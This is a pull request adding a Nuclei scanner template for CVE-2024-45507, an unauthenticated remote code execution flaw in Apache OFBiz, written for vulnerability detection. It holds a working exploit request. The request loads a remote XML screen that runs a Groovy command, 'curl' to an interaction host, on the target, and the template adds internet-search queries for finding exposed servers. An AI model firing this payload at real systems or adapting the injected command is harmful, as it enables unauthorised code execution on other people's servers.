Merge pull request #10771 from projectdiscovery/CVE-2024-45507

Create CVE-2024-45507.yaml

http/cves/CVE-2024-45507.yaml

@@ -0,0 +1,60 @@
+id: CVE-2024-45507
+
+info:
+  name: Apache OFBiz - Remote Code Execution
+  author: chybeta,iamnooob,rootxharsh,pdresearch
+  severity: critical
+  description: |
+    Apache OFBiz below 18.12.16 is vulnerable to unauthenticated remote code execution on Linux and Windows. An attacker with no valid credentials can exploit missing view authorization checks in the web application to execute arbitrary code on the server
+  remediation: |
+    Users are recommended to upgrade to version 18.12.16, which fixes the issue.
+  reference:
+    - https://xz.aliyun.com/t/15569
+    - https://x.com/chybeta/status/1833184898913636424
+    - https://lists.apache.org/thread/o90dd9lbk1hh3t2557t2y2qvrh92p7wy
+    - https://ofbiz.apache.org/download.html
+    - https://github.com/advisories/GHSA-w8w4-463p-8pg7
+    - https://github.com/vulhub/vulhub/tree/master/ofbiz/CVE-2024-45507
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2024-45507
+    cwe-id: CWE-918
+    epss-score: 0.00514
+    epss-percentile: 0.7714
+    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
+  metadata:
+    vendor: apache
+    product: ofbiz
+    shodan-query:
+      - ofbiz.visitor=
+      - http.html:"ofbiz"
+    fofa-query:
+      - app="apache_ofbiz"
+      - body="ofbiz"
+  tags: cve,cve2024,apache,obiz,rce,oast
+
+variables:
+  oast: "{{interactsh-url}}"
+  xml: '<?xml version="1.0" encoding="UTF-8"?><screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd"><screen name="StatsDecorator"><section><actions><set value="${groovy:''curl {{oast}}''.execute();}"/></actions></section></screen></screens>'
+
+http:
+  - raw:
+      - |
+        POST /webtools/control/view/StatsSinceStart HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        statsDecoratorLocation=http%3a//oast.fun/x%3fb64_body%3d{{urlencode(urlencode(base64(xml)))}}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: interactsh_protocol
+        words:
+          - "dns"
+
+      - type: word
+        part: body
+        words:
+          - "StatsScreens"